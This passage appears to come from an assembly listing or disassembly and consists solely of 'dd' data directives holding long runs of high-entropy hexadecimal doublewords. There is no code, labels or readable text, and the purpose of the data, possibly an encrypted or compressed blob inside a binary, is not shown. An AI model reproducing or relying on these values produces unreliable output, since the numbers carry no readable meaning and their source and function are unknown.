0FA3FF6ACh, 8B36002Fh, 96269BC4h dd 4DE1016Bh, 0F48F25A3h, 1B4EFC43h, 0AEE0D57Ah, 1276B73Dh dd 400EB998h, 717AE177h, 22C4B0C7h, 377B02h, 5404FD7Fh dd 9009885Bh, 786A54Ch, 70AD2EDBh, 0BF620190h, 5F163D52h dd 140B28h, 0E46D54B0h, 0CE74DCE7h, 0ACF98719h, 1FD01768h dd 0CFD7E0A7h, 0DE0FBC11h, 0EF865981h, 1291BD42h, 8C1EFF41h dd 62153801h, 0A0CB3635h, 122B9726h, 31FF417h, 2D0B5DC5h dd 0A0CCB0C0h, 0A8BD3A24h, 8B1F4C87h, 0DF2B602Ch, 0F6DA0148h dd 892083C5h, 808BE720h, 96BC3EA0h, 347C0412h, 87360A62h dd 2140CA8Bh, 0D4150F4Ch dd 0AD9D73C3h, 7CB277A3h, 9A43148Eh, 70877D21h, 0D4B187B8h dd 0FF001BFEh, 0EB0BC6E6h, 0A68490h, 307E284Ah, 0A744E40Eh dd 598DD200h, 29B2412Bh, 45FF00FEh, 8AE501F6h, 4F00DA1Dh dd 6C6DB935h, 74B91F5h, 690CE0A8h, 2A514013h, 957A50B6h dd 4FDEF400h, 47FD1290h, 5D8003C1h, 1579C55Fh, 6B608BA0h dd 954C4F00h, 6ABB22B6h, 5A120033h, 9D58066Dh, 0F2031E1Ch dd 0F5B1089Ah, 8F57E827h, 0DF0500C9h, 0AE5BC2E4h, 0C6F820FDh dd 92F935B0h, 75110AF4h, 0FD8F03B0h, 0D818E06Ah, 66A0FF9Ch dd 21340802h, 65E56E00h, 4BE6A3A1h, 880601FEh, 773B9FF9h dd 1B862A5h, 75A97D64h, 0E0FB89FCh, 369AE416h, 78108A7Ah dd 14B0D798h, 0C03680C8h, 18CC6519h, 9A22EA46h, 6521121Dh dd 57903A80h, 1812BA4h, 97ADF861h, 9E2DFCC9h, 0B88B2F29h dd 11000C15h, 44372E3Eh, 20EC0164h, 0CBFC1F2Bh, 0F9215DA7h dd 70BEC80Eh, 0E9B70D01h, 0F06DF6Ch, 44BDAAFFh, 9ABA1C10h dd 906B405Dh, 0A85E4524h, 0DA9BA305h, 0B580289Dh, 0C19BF89h dd 440EF2Fh, 0C8001B39h, 0C53623D1h, 6686BD62h, 215A086Ch dd 0D1D0C60Fh, 0ECFFC18Eh, 1980BE73h, 0E65483F4h, 0DE0ED36Dh dd 0AFD69386h, 842AA07Fh, 7AAE50Fh, 9636378Eh, 3780BAF7h dd 6B1C01F8h, 91080DBh, 693C5C78h, 302B0070h, 1F9A4134h dd 1800908Eh, 8E0317Fh, 7C407573h, 44C63C4Dh, 0C1F6B687h dd 244710A0h, 0B50041DFh, 6D73D0B9h, 3840FB9Fh, 0D583192Ch dd 7A4DB448h, 0C997AEE1h, 0B789E0BCh, 67490500h, 8F3F7BCCh dd 68280F73h, 0E6805E4Fh, 0E838C8FBh, 8D791500h, 8AC2BB6Ah dd 0FA0900B1h, 274E2B0Ch, 21CAACAh, 9407BAFFh, 78D03CB3h dd 7C58B67h, 45592180h, 575FB064h, 0F81DB8EAh, 77C2BCF0h dd 406512B1h, 0E956A82h, 570531E2h, 4A2A1C23h, 7ADEC0ECh dd 580227DEh, 0B99A9140h, 5BA5C0E9h, 3F8D06F0h, 913C1396h dd 3E23ED07h, 9B404630h, 3F614D21h, 6480F4BAh, 8C7D6A42h dd 5100860Bh, 0C1DCCC9Dh, 0B0C5977h, 37CE032h, 0AA00C85Ch dd 704CA9BAh, 97801A4h, 21498DFFh, 0B088E522h, 45EC3668h dd 8C0100EBh, 78079853h, 2AF8BF43h, 0E9BCFB00h, 57766B0Eh dd 0E41F004Eh, 99B8361Ah, 0D33EA43Ah, 8F03F725h, 7798237Ch dd 7F53A847h, 0FFE10080h, 0D79D35B4h, 0A9010CB6h, 0CB84586Dh dd 87F42D1Dh, 644700FAh, 0E6EE66DCh, 33006528h, 7F5989F2h dd 449E17Dh, 41AD2798h, 0A001FF72h, 18C07ABEh, 0B1B2C8h dd 9F3AD22Bh, 0E16171ABh, 3E73F707h, 31C099C9h, 1D11C6BCh dd 2C0217h, 96DAF3Ah, 183EEA30h, 0F5A89683h, 16892800h dd 3A049Fh, 4048A6C5h, 2C1568EDh, 764C3100h, 29EAE88Dh dd 0A7EF0027h, 0DC4E9430h, 0D703D251h, 4A5CCE6h, 90C4F36Dh dd 316729B9h, 6F28DDA3h, 422817CAh, 0A324A73Eh, 12DE0F21h dd 0B99510BEh, 89A8CF88h, 84CA08DEh, 42AAFE22h, 0DBC911ABh dd 7F087621h, 841790B8h, 6248D11Ah, 24BC7C42h, 0A76F2113h dd 35238E12h, 549BD87Bh, 9D7D004Ch, 5376EF8Dh, 6000AC33h dd 6B4EB1A8h, 7D863D07h, 0D5F000EBh, 6520049Bh, 770063C4h dd 0F90F55B7h, 0B86D72h, 8BE9475Eh, 0F8B5C58Ah, 6C0A7100h dd 2B338465h, 0FEE6FCh, 7B83E3B2h, 0D2AC469Ch, 5DD66E00h dd 0E24C0CBFh, 9690007h, 0A4844808h, 8E0076C1h, 24C8DD19h dd 427F0Bh, 0D8708883h, 0BE975027h, 719E300h, 625D85C9h dd 98110043h, 3FD7323h, 0FE00B769h, 66414E91h, 4839C0h dd 0AA0CCA42h, 6A68A5C4h, 9DFA000h, 0A6537D6Ch, 0D9BC0130h dd 2CC25D48h, 1CF6C81Eh, 0B934CD00h, 0E44BC606h, 0F0AC06CBh dd 68BCB22Fh, 14BEB100h, 0CDEDFB51h, 0DEA23C30h, 279C9D80h dd 50174E6Dh, 7A222A18h, 8920310h, 0D7E2FBC0h, 0A0657000h dd 3F6A39h, 55D385Ah, 503ED920h, 0B716FE00h, 84E45379h dd 0E62E0008h, 0F7EB10E0h, 990C6639h, 0B8FFE58Eh, 7AA5001Eh dd 0F16BA059h, 390127EFh, 0D74079B8h, 0E3F461DBh, 0DFDD00F5h dd 0AF46C568h, 2F056AACh, 0DAA5E813h, 7869A800h, 1EB131DDh dd 0C0FFC86Eh, 3043850Eh, 9607D9FDh, 97E68133h, 4B6E4A80h dd 0C417013Bh, 8D717227h, 9BEE20E2h, 0D07C5500h, 0CC86E1FCh dd 0C5E8ABh, 72EC8F6Dh, 2152D7D3h, 75B8204Ch, 1A03507Eh dd 0BFEA7628h, 2F8BC042h, 0A36B05E2h, 0C0D80AC3h, 996451EEh dd 0EB95DB00h, 82883C84h, 579F0B5Fh, 58005D07h, 0FC966E8Ah dd 0D584FD00h, 808C5315h, 0D3760049h, 95F74A40h, 0FDFCF2A3h dd 0F4735228h, 29586100h, 124B1EFBh, 1D773E34h, 9300133Eh dd 0D49FC90Ah, 2700FEE4h, 0A5F26F15h, 4E3FCBh, 8D3C9A14h dd 0F3554521h, 2CA2FE00h, 2923D738h, 227750h, 7DA57FE4h dd 5E34245Ch, 4310E1Fh, 5440885Fh, 125DFDC1h, 48E6002Fh dd 0DDC0C346h, 3E005C4Fh, 0DAB8E07Fh, 0FC61451Eh, 32D30008h dd 0F7058E2Dh, 7601504Ah, 3BE0171Ch, 0DDC5D04h, 2D6424D2h dd 93FC9104h, 0C1BED300h, 50204Fh, 0B36A8F53h, 0BC3A1A54h dd 8035A33Fh, 0E0F5D72Bh, 197CDEh, 531F792Dh, 1EB6D15Ch dd 71ADA324h, 1CC7081Eh, 32349FE0h, 22B8A880h, 9712009Ch dd 9A4D230Fh, 0E1EDD82h, 6D00054Ah, 56B722C3h, 0DB51F24h dd 3E196CEh, 4F5FCB1Fh, 3663EBB0h, 40866E1Ch, 3222E600h dd 7EB948BFh, 23BD33CDh, 0C0849AD0h, 3D4509FCh, 0ABE7A000h dd 127182E9h, 899001Ch, 1BBE4DDBh, 6C906E8Bh, 16680D0Fh dd 0D238E0BFh, 0F313B6h, 7D3CDB3Ah, 0EE96557Eh, 8314D53Bh dd 0D9DA56D7h, 0B7EF9374h, 0B0E4E04Fh, 72803FA2h, 0AC0102B6h dd 4AAB922Ch, 0B5E8AC98h, 0A406BA00h, 26812A03h, 0D67596h dd 468374B1h, 0E41A44EFh, 2DC011DDh, 0A132B06Ah, 49AF0FC7h dd 4AE2EE03h, 9A60593Dh, 0D539915Ch, 0EF0B8FE5h, 0E2C31EA8h dd 0F79C1C49h, 0CBCD5620h, 0F0DA00AFh, 8905066Ch, 6F07F3B3h dd 8BB0E93Ch, 0F82C5DC0h, 6D360380h, 0B1F710CCh, 0C09B70E1h dd 0B80969B3h, 8E7E3188h, 6293A0B2h, 9096798Eh, 0CEA400DAh dd 0FCA1F348h, 0B102B37Bh, 0CF218415h, 2318C0C1h, 0FF320181h dd 0A07661A4h, 28ADC0B0h, 0CB8AD0A0h, 780AC100h, 1761ECD5h dd 12AA037Bh, 29CCA260h, 4F7E2BE0h, 0FDDBEB00h, 0B99C3897h dd 0EC080031h, 0E606E3C9h, 2B1F8A03h, 654F2D47h, 8D00B09Ah dd 52DA8678h, 0A70245D0h, 0F5C1CA7Ch, 773C606Ah, 0A02A0E06h dd 3C209038h, 7CEFFC21h, 64809D00h, 498CA2BDh, 655B0752h dd 7060ED30h, 0E2464413h, 0DA58E900h, 1F0EBD76h, 315B0002h dd 0BFA3573Dh, 3800BE90h, 0CE28148Bh, 0B7C84F1h, 0E541EEFBh dd 4F3DCA81h, 35D6F01Dh, 0E411DD65h, 0ECD2898h, 0B9D63A2Ch dd 0E0DBC6C7h, 2E6B505Ch, 0BC845A01h, 6EE0A604h, 0BD143E0h dd 5537A2F8h, 0C7E1C70Fh, 6045D2FEh, 94006D2Ch, 23E4ED3h dd 714F7F7Ch, 8F2200A4h, 0C51C8492h, 5C1EB8B2h, 6B003479h dd 0A2A4EC0Bh, 0E2D8001Ah, 29F89CFAh, 450E23DAh, 603BE4C8h dd 0FB63EE8Bh, 788C05Fh, 0EAB2CDA3h, 6B348F04h, 14C04D98h dd 5E91AEh, 0F2D75286h, 0FDC40C78h, 0FF64E300h, 6E5CEFDEh dd 9F020061h, 0CA8F26A1h, 0AC008C40h, 5BEBD648h, 2B6097h dd 4F247779h, 0B6330F88h, 906B6200h, 0FA1E39CCh, 7C6A001Fh dd 0ADE03B05h, 0BC001B55h, 3DA1836Bh, 0F74E61h, 222CB7EEh dd 0D4DC3BAAh, 1B70D900h dd 1F55CD06h, 0C46E00C5h, 0C78A52B8h, 9F01F85Ch, 49CD194h dd 46ECA105h, 92B70093h, 0FDC651EEh, 82874D2h, 6507C0F5h dd 7CCF49F1h, 9F9C8730h, 15113E7Fh, 732CEA00h, 91181937h dd 0FADE1B3Bh, 0B7A084B2h, 0B005EB5h, 0D1BD16DCh, 0DAD221h dd 441A3EA5h, 36A0154Ch, 0D7BB1E00h, 86173A93h, 0BDD10A8Bh dd 81A4C5A4h, 0BC0962E6h, 0FA11CC2Eh, 694D1E01h, 4A2BCDDAh dd 0E8CC55DCh, 0B5D00E0Dh, 5B0008EDh, 8CAB5A6Eh, 5C028400h dd 9FE17516h, 55EAF9h, 0FAF70F41h, 90C0562Ah, 0A0E29112h dd 5200CC16h, 989CA782h, 0F5693E74h, 1D2E4F81h, 20298E5Ah dd 0AB5C2AE0h, 0BA99000Fh, 0DB3750B3h, 1320039h, 9FD86CC9h dd 6E2E1D10h, 0A4006A0Bh, 60D99058h, 0B498A8h, 23C3A603h dd 0F4A74BAAh, 0BA45591Ch, 0AD00E0E4h, 52D9F198h, 0A84E0013h dd 5BBB75ACh, 611419CCh, 3909E95h, 78238F35h, 0E5BEE891h dd 0C98C004Ch, 0F91CC3A7h, 6F003154h, 0D37A38D4h, 0A7C5DD2h dd 0D078CB61h, 0FC1000E4h, 3EAA0BAFh, 8006753Bh, 0C4F4B9C3h dd 9F891E73h, 0A8002678h, 1AB7BF20h, 0D38C4Eh, 4A506021h dd 3AEB0C07h, 0F0151F0Fh, 8FD9E538h, 0CC7D1CC0h, 44B0088h dd 3A1D7C44h, 0C448E8F9h, 947600A1h, 407B1B14h, 0C3133C8Dh dd 755E7200h, 4BC5305Bh, 6BFCF700h, 0EC77F8B5h, 90A0010h dd 4367914Dh, 0F60E3016h, 20B0ACC0h, 37CA8CC1h, 0E2050ED9h dd 5AA04D67h, 885C36F2h, 0D4490724h, 32DE2200h, 80C7DFh dd 0FA1B46D1h, 9B3FB71Ah, 0DF8E400h, 1340CF6Ah, 0E2170049h dd 0E867F104h, 0D000C1F5h, 0C0F38AD4h, 39EAF6Bh, 5BA3CC91h dd 9E28BF0h, 0A71A060h, 19FBAB00h, 0C73A75A0h, 5806157Eh dd 4508B867h, 5E0243B1h, 0C0B25C57h, 0C3AEC6Ch, 0A29FF058h dd 53001C10h, 471AD93h, 97B6470h, 2A7AA4Fh, 7CF3EA83h dd 12AC5FD0h, 3702DAE0h, 0D1AE828Bh, 0E8FC60D9h, 407885h dd 5648CF8Fh, 0B46F8D8Ah, 3D876B38h, 0DCF99F6Eh, 0FB2CBD40h dd 1549A51h, 0F4688A0Ah, 30694344h, 65177EDFh, 0F000CFF6h dd 8BB97711h, 22D5014Eh, 0C00DCA04h, 0DAC2F0E3h, 398F993Dh dd 45B78074h, 0BBF4425Fh, 0E41E012Fh, 0B15DFF0Ah, 0F2E0F775h dd 0C808BC22h, 235946Ch, 0AAA873DCh, 210008ECh, 9F241497h dd 52C71Ah, 0A2CE529h, 8A96B6EDh, 0BBBC4701h, 0E2A8D7E1h dd 45BAC50h, 56E080BDh, 0D3CD6185h, 3170609Ch, 0D400767Bh dd 0D3D2530h, 5CFBC2DBh, 0AC405BD5h, 16120091h, 0FC693F1Bh dd 0D034765h, 66AFB38Dh, 0D47891F2h, 79438E30h, 0D00F00CBh dd 4D6FE58Fh, 0FE0002E6h, 0A0F34C54h, 0AFF7D5Ah, 3A3EE382h dd 630C03BEh, 93C80D86h, 8A0FF31Eh, 5FC13507h, 59983C1h dd 4430A6BEh, 7B470052h, 0CB128FB6h, 8118D650h, 0A5F0FB48h dd 8D0900B1h, 0F547080Dh, 0D1003EDEh, 2DA9D4D5h, 0D96432h dd 1EDA42DDh, 0C5F92C36h, 3EEB9A00h, 1C4B13F6h, 117D1D56h dd 6595CB30h, 0C09C4C07h, 5D316015h, 0B9E5B228h, 7693F503h dd 0F03389D7h, 7C28BDh, 1FAE1738h, 2237C03Dh, 0DE9075E2h dd 72059578h, 0A2D1F3F2h, 0ACF85780h, 0EAE201A7h, 82619157h dd 7FE06458h, 1DD3427h, 1677418h, 3EF2CC50h, 2449092Bh dd 400B7Ch, 0CE0788A8h, 0E71BA2C6h, 4B60A04Bh, 0E22F72h dd 28088E32h, 0FF71ED50h, 7B928040h, 0FBFC1415h, 0D928E896h dd 7ED27ABEh, 0F853012Bh, 57430F67h, 683830C1h, 72D87003h dd 0C00E9479h, 0EAF584h, 520D7895h, 176E0FF2h, 0E41BFE24h dd 9BB79A00h, 7158B137h, 13810079h, 0C097B0C2h, 0C50BD48Ch dd 78D601h, 0FC02FF04h, 687079h, 0F7DF092Ch, 33497BC2h dd 0D469CEC0h, 9811F26Ch, 0B0D10828h, 5360723Ch, 1FC6F98h dd 0FFE15027h, 0DC69035Bh, 6101FE94h, 43250586h, 0AE31F8BEh dd 4215889Eh, 1ACE323Bh, 0CF24FC8Eh, 1D988131h, 16C05060h dd 0A5409D3Bh, 748800F0h, 1E199EBDh, 8A1779E7h, 48019312h dd 0A339CF08h, 2D20C440h, 453B0746h, 909740A7h, 0AA010B10h dd 51A0923Ch, 0EFC5DCB4h, 0D04B3900h, 0E35DE65Bh, 19BD00C9h dd 9B365070h, 56488A1Eh, 0AC91003Ch, 35255559h, 0F66900B5h dd 5682B4Ah, 7503CBF7h, 0E6480A0Fh, 0C0A7C0B1h, 946E6047h dd 4E8CA3FCh, 0E20BD48h, 60536BEAh, 10F37558h, 0D8A04DF6h dd 89AD8E0Fh, 2E5DCB80h, 0DD0BFB4Bh, 80771FE4h, 0A9A0684Dh dd 3660002h, 0CA0AEB64h, 8416EE33h, 0C00245AFh, 5240616Dh dd 2C3100A0h, 0A14B2A8Bh, 56008306h, 5B4FA4C3h, 0D63BB1h dd 74D168FEh, 0E2DF0FAFh, 393AB814h, 1E11079Ch, 7014B791h dd 685F4B80h, 0D66C002Fh, 0F4545A42h, 7B094D32h, 8076B416h dd 0EF772809h, 989E48CFh, 75348482h, 38677011h, 0B0143701h dd 20F2DEAEh, 0DF249C14h, 738094BEh, 0DB974129h, 0FA89225h dd 442BED2Fh, 5DBA0F00h, 4C00DC1Fh, 0B10E58C1h, 0EEEAEE4Dh dd 64D3272Dh, 89270483h, 0A15C8903h, 0C09855B7h, 1A0C3B0h dd 0F5D77DE6h, 324B3824h, 18DA001Ch, 8DD02B9Eh, 9FD5061Fh dd 805370A3h, 6513F490h, 0D05CEE1Ch, 0C76D8D01h, 0EE40C551h dd 445E53h, 0A1FDCBC1h, 0EE0E356Eh, 7812092Eh, 8FB29000h dd 4AEF45h, 68C29FE8h, 0DFA5505Bh, 0DA670D04h, 0C4A0B5EDh dd 0B042498Ah, 5048EF3Dh, 0DEA80500h, 0D4F39E0h, 0E3A5E900h dd 0BC15E643h, 0AA900054h, 0CF777AC3h, 2F00FDE8h, 880AAF94h dd 0ECA08079h, 0B68907C7h, 329B29CBh, 9040BBB5h, 0AC1D9E54h dd 0AB80CA68h, 5EF8FA7Ch, 0D4B70E7Bh, 0C79CE92Fh, 10887077h dd 0BF23207Eh, 462EA100h, 0E5CC619Dh, 997B0142h, 26896DCAh dd 1A8B6047h, 48A2E700h, 0B6EF3F8Dh, 34C20437h, 0C7B2813Ah dd 80BAA4C6h, 6CBB5508h, 0C6D6726h, 5A8B7100h, 79101F84h dd 0A236002Eh, 0D32B5980h, 9E2CAA3Ah, 0DA096004h, 50B40030h dd 70528Dh, 717D9967h, 0C116DB64h, 0EAB0D4B0h, 7AA56C02h dd 0A0311143h, 99B102D8h, 24157866h, 8034BFD8h, 0BD452872h dd 0FD009A8Bh, 0E6883227h, 5892F54Eh, 0DC002080h, 3FCBE14Dh dd 1C395EC3h, 0B57487BEh, 64D0A7D8h, 710A6869h, 3A983B5Dh dd 0CD765480h, 6DEA9F9Dh, 0CAA51B00h, 0E5BC8E2Fh, 543F2266h dd 4C60A700h, 0BE72CC2h, 7B91FEF0h, 0CDF0739h, 0D7103B19h dd 5D2501EEh, 14AF6027h, 114FF901h, 0A9F4AD76h, 0E1F6DECh dd 7BB304F3h, 96A01CA3h, 11C06EC6h, 0CF608CE8h, 327C07C4h dd 0D038CBADh, 0E558BD24h, 71E9D89Fh, 63DD16E9h, 0A8D900FBh dd 6641ED53h, 0F918E0E4h, 0E368826Fh, 0E69B03E4h, 695219F5h dd 9C982A93h, 2E5C0FC7h, 920400C5h, 8422A456h, 76F7B65h dd 49792448h, 0FFAFB371h, 99FDDAD0h, 2ED3F00h, 0E1764D38h dd 8057122Bh, 3E1900A6h, 506C378Eh, 0AC8F100h, 97FCD83Ah dd 37A0795h, 50186005h, 85B3D2EFh, 993DBC00h, 8AABE008h dd 0AA7E166Ah, 0CF500050h, 1C4118C8h, 439B3B09h, 210F8058h dd 0DDAA73h, 0F59E7BEDh, 0D5997838h, 6E525400h, 428E5AD4h dd 665B0081h, 0AC04B833h, 7500A3A4h, 8D11AA9Fh, 12A1B1BAh dd 2032A20Dh, 546B25F8h, 0C2AF9107h, 86A05D9Bh, 3A7CC06h dd 0EBB72892h, 0AFA147C5h, 952AF042h, 0B9E35400h, 0FC863072h dd 257D0152h, 70CC68BCh, 0DB2AD4A7h, 0D4CBF200h, 15D2EB04h dd 18A660EAh, 5243FC6Eh, 23242C00h, 0D4B09877h, 0DFC60190h dd 0DEEC637Ah, 5A64C08Ch dd 806AD23Dh, 86B850FFh, 730755h, 0E02E469Dh, 0C18AFB5Bh dd 0B25C0F1Fh, 0C600282Eh, 0D1525E0Dh, 31CD0360h, 0A3D03837h dd 0C576E2D8h, 95DE1C00h, 3AAC3480h, 4C9A0FCBh, 738052AEh dd 0F516A049h, 9B806C90h, 5AF093EDh, 0E488B000h, 339B22B2h dd 457400E2h, 9D189442h, 6213BA6Fh, 900ECB06h, 0ACDBA16Ch dd 10205836h, 0EB241C22h, 64100FB6h, 63A0540Fh, 12058177h dd 744BBA25h, 67013E3Eh, 0D266B668h, 6B2E60E5h, 0CE2F0101h dd 439717BAh, 3622C8h, 0D0FEC68Fh, 6C0A4A48h, 87B7E73Ah dd 0C3379CE2h, 0F4797120h, 0AD0F0058h, 68972599h, 18C09335h dd 0BF846A72h, 0E0616581h, 0F61890AFh, 0D20073D7h, 8027C6C9h dd 5EE0A2Dh, 60B63499h, 824F09Fh, 6DC8A600h, 5B985229h dd 985C7710h, 0E9D200F4h, 3CAD781Ch, 31011E71h, 524D7053h dd 830FBCBh, 20AA0F1Ah, 79804657h, 40EA6B3Eh, 677F4909h dd 0C4E4E0B7h, 50E3003Ch, 2E79F91h, 5FE0CABCh, 80B5E138h dd 0B6702887h, 1478A6h, 0A3489FD2h, 49A27D58h, 13A00F0Eh dd 0CB6F2012h, 0E92CE45h, 0B87BF271h, 2FF0CD00h, 0A7002467h dd 356B15ACh, 62E21Dh, 2E85059h, 25A395D3h, 3A0FB017h dd 17D1CC40h, 2E09CA48h, 1CBB237Bh, 221F4Eh, 66DA5502h dd 0CE0F05ECh, 409E073Ch, 0DE9C7A28h, 0B298A4h, 85376C1Dh dd 4DE1CD03h, 0D2E7081Dh, 1C225501h, 0B07868B4h, 521D83C0h dd 0A4164A2Bh, 6C903E84h, 98AADC6Eh, 290F6A4h, 4EFD73CAh dd 0E9C07DD7h, 0C892F427h, 684C5401h, 0F1876DD8h, 0C169EF24h dd 7FB1010h, 232FF82Ch, 42835B03h, 994A5624h, 94306AEFh dd 743F00D0h, 0BC55A771h, 0B4E2C82h, 902D980Bh, 272434C0h dd 7CA0F228h, 0D0762BCh, 8AE8A42Eh, 3DD48307h, 0F6276F20h dd 0B97800DFh, 1C2C8D07h, 6000296Ch, 0E3A0669h, 0F0E902C8h dd 0CAA700E0h, 768E534Ah, 0E4581FF5h, 65B30110h, 56DA84ADh dd 0E8C3A060h, 0F3063872h, 1A1C500h, 0D390BDB6h, 0FEA55928h dd 871473F2h, 1FF05621h, 4AC041A0h, 796ECB64h, 39CBA063h dd 0BF74008Bh, 24FB1448h, 0BCFFAEh, 0BF80BE57h, 0EEF55FE8h dd 8B00B2A6h, 0A0A5D70Ah, 3F783EBBh, 0DADC5544h, 123A007Bh dd 0E940A97Ah, 2800A886h, 56DDE052h, 1830198h, 6188DE71h dd 83693BE7h, 0FB48A828h, 0C081EA21h, 7BCE0AE1h, 20920002h dd 5F271E94h, 8000CAB3h, 3356C65Bh, 7DDC1FEh, 0DCEC29A0h dd 7D5E9068h, 1F1C9699h, 0CF004D3Eh, 83DB6A16h, 0F9FA00FCh dd 0E7099AA0h, 19000B08h, 0D1A14826h, 3E228D84h, 3C809DCCh dd 8174367Eh, 1900BEC3h, 0B25AA3B1h, 0E52321h, 30F3C0Ch dd 0AC1481C4h, 0E6A7820Fh, 9AECA0CAh, 0FC9928F5h, 0D4E82Bh dd 5C59A920h, 7190E785h, 0ED5B4F07h, 5EE049B1h, 7511C921h dd 88A30036h, 948991F8h, 5302FBFEh, 0BE375BECh, 51E07FA4h dd 1C006F98h, 0D1A36949h, 0DC9339h, 78ACAE1Ah, 0B9C1CAF6h dd 46164401h, 5236D6A3h, 7FD3C4h, 0BD575CB1h, 6E4E9B31h dd 4F490100h, 0CDADA04Ch, 3EF40FB4h, 0E30643Dh, 4058A2C3h dd 73D6B955h, 391C1FA5h, 657E879Ah, 6D93537Fh, 0DEBB9600h dd 0A6416163h, 0AD363FAEh, 0A9084501h, 0FC467F3Ah, 0C53BE5C0h dd 19D20040h, 0F4ACBB73h, 497006Ch, 9CB044C8h, 91607DA4h dd 0C00E96B0h, 631800CBh, 0DE5950CCh, 5F03ADB4h, 0F2138A65h dd 12B7A0D5h, 1C800179h, 23D80C7Eh, 6B74E0FFh, 73A1951Eh dd 9330047Ah, 1C001454h, 551358FBh, 9B99DC07h, 4EAC7Ah dd 43FE145Ch, 0D8491D08h, 7611E30h, 0D7223D06h, 39EECF0Ch dd 576568B8h, 5026BF33h, 8C99F04Fh, 29166F2Eh, 0FA1FFE21h dd 61719412h, 13D00350h, 5883B08h, 0D4162A68h, 0EFA44023h dd 1C6611BAh, 0ECB2CB1Dh, 0C5D37BC0h, 1D67F1h, 4F8D29D5h dd 0F6606381h, 8C2E7E00h, 0A88008EAh, 10A600F2h, 180BE122h dd 56007F6Bh, 2F9CF3BFh, 3C9D3440h, 0B2974A7Bh, 80EC1FC6h dd 9F5B431Bh, 10001603h, 713E33C9h, 12F821B0h, 63C530h dd 0B4A834Ah, 7501DCB9h, 170EBFDDh, 0D1D9855Eh, 711FE70h dd 0BB60F663h, 999610F9h, 0EB0031AAh, 51486FBCh, 3CDF4D4h dd 0C694D31Dh, 8B80D7ACh, 2A30C0D5h, 0E6BCF9A2h, 3BE667h dd 8088F331h, 2D444C53h, 0C0D73D1Dh, 0BF3CD6C0h, 859B76h dd 83CCE33Bh, 384D52C9h, 3222EC1Eh, 0BF172000h, 0B3A284h dd 105C21C0h, 5E7F7766h, 4D4AD30Fh, 3B96C37Ch, 0CBACD0DEh dd 591D058Eh, 80440123h, 0D5A0DCE1h, 53687100h, 638A8052h dd 0C5401B2h, 0C85146D6h, 0E6CAE09Ch, 36A24904h, 22C33ACEh dd 1CC9291Ah, 0C2EFDF04h, 1D932AD3h, 0C2BBF8h, 2B278E14h dd 6645A6F1h, 0EB387A71h, 93077A25h, 223FE2D4h, 6F959DC0h dd 0E630001Dh, 44D634E9h, 7173C1EAh, 0F8D7933Eh, 7E9929C4h dd 482AF544h, 3A18425Dh, 8A211D24h, 12C91278h, 29211D63h dd 2B8B0821h, 88720588h, 0C5943766h, 81F00850h, 84B110D5h dd 9444284h, 2CA3447Fh, 742CD48h, 86502F3Ch, 22518218h dd 1C221239h, 29116132h, 0CCC6F3CDh, 2000D8C7h, 0E81AFDD7h dd 58BD23h, 216B819Ah, 0AE93AB70h, 59C5A700h, 0EDECF17Bh dd 7028773Dh, 188F00A1h, 0CB1C0E1h, 0D2058CA9h, 136DC65Ch dd 4485A880h, 2307261h, 0D3A4FF28h, 5C600E9Dh, 82016947h dd 52980F2Ah, 3BE86BA0h, 7A890042h, 2B9C6E63h, 7558C8ADh dd 0AAA700E0h, 68BFF625h, 81149B0h, 0D53A6300h, 0AB51B38Fh dd 1600CD7Dh, 0CE663913h, 3CC8920h, 0BA244249h, 5FD8518Dh dd 29257E4Dh, 885015h, 0CA4911C6h, 0E3C2A20Fh, 0A54CAD17h dd 96CD4803h, 59880037h, 34DC033Eh, 16005C9Eh, 715F9A2Dh dd 12F4A3Dh, 0D1C3A730h, 0FB85D8EFh, 7CBF982Ah, 78056300h dd 0B59EFFC6h, 3AAF3915h, 0F57BEE00h, 296DE552h, 2D030F7Fh dd 836071E1h, 0B0E0D059h, 0D04900BDh, 0BEE2DC30h, 0FD00E6B9h dd 7B35EECh, 3363376h, 0A31E15C1h, 0F5B04BF2h, 0A8000BB2h dd 0DFC7D8D0h, 1CCABA01h, 289657h, 97FE22B8h, 2103D498h dd 0A1CB8E4Bh, 1E769833h, 9EF207C3h, 0C08C5978h, 4E667767h dd 1A00D170h, 0ED37BE49h, 8EC7AFh, 0B6E2C220h, 0EEE73A38h dd 21205370h, 2AA700D0h, 0D3699C8Ch, 1A00DD47h, 2F9D07ECh dd 7091BFh, 225F7BB5h, 145328B2h, 96F85D1Dh, 40009E52h dd 1CDB2992h, 1B6A003Fh, 766F49E2h, 5B038FB0h, 15C2C859h dd 0A29AA84Fh, 33DC00E5h, 0ED40EBE7h, 5DE22935h, 870013FAh dd 0B1C6471Dh, 0AFA60Eh, 8268B086h, 5329A979h, 80F07C00h dd 0DCFBE0E2h, 4457D5Bh, 6489FEFDh, 0C034C3D2h, 0A4E76800h dd 2765E9BFh, 0CD710541h, 0E07B13h, 395EAFB8h, 8C00AE4Fh dd 833073F0h, 609B26EFh, 76CF20E1h, 9700E7D8h, 79FB5AC9h dd 205DFD3h, 3B7A49B7h, 3F60E960h, 93005D0Dh, 0CD6B7D89h dd 1C2F968Ch, 982DCA8Bh, 0BC22385Bh, 0FFCCEF50h, 41B7DF00h dd 0E73FAB6Dh, 0B1630090h, 0EEC91270h, 3EE05089h, 0B9824404h dd 1090660Eh, 0F12581Bh, 10CB05A7h, 0F8E7DB00h, 78FA39E5h dd 5D00A898h, 0F65BA97Fh, 0D4D0C8h, 29340861h, 0B7AE43A2h dd 9B05D290h, 58E1D991h, 0E06EC20h, 3142A7h, 0B0305181h dd 7EA65D8h, 9E381766h, 0E3F8C033h, 11003AFAh, 0A26FB248h dd 0D3C197h, 1901AA34h, 15147058h, 0F81C3D06h, 0F85E0Bh dd 0DD6C5E4h, 0A7452683h dd 8706657Ch, 49B4C96Fh, 0F85F0048h, 1A2FEFA2h, 0CB0059DCh dd 3B43A55Eh, 0A1D506h, 4853B781h, 642018E3h, 0F2D49000h dd 0EA3E2BD9h, 0ADBD009Ch, 32AB3D3Fh, 934C8D5Eh, 10B0008h dd 0E7D9CFF4h, 2372004Dh, 0FEE238EAh, 1092A3FAh, 5266F203h dd 0EE642DAFh, 0AE8F0280h, 0BBFCA312h, 0E6203C44h, 0D35903CCh dd 28D9CA0h, 7DC56007h, 0A9B02A6Fh, 26D0AE6Dh, 3422F8h dd 2D5EDFE0h, 0E8308DEAh, 5A2E308Ch, 50E93A03h, 27D3E780h dd 5814FB23h, 4BC4CF5Eh, 39BC8491h, 0AD510610h, 0F503F090h dd 0EF1A7D2Fh, 9A60006Ch, 8FEDCFE9h, 71405B47h, 569300F4h dd 7ECE7D9Ch, 0CD59A6EEh, 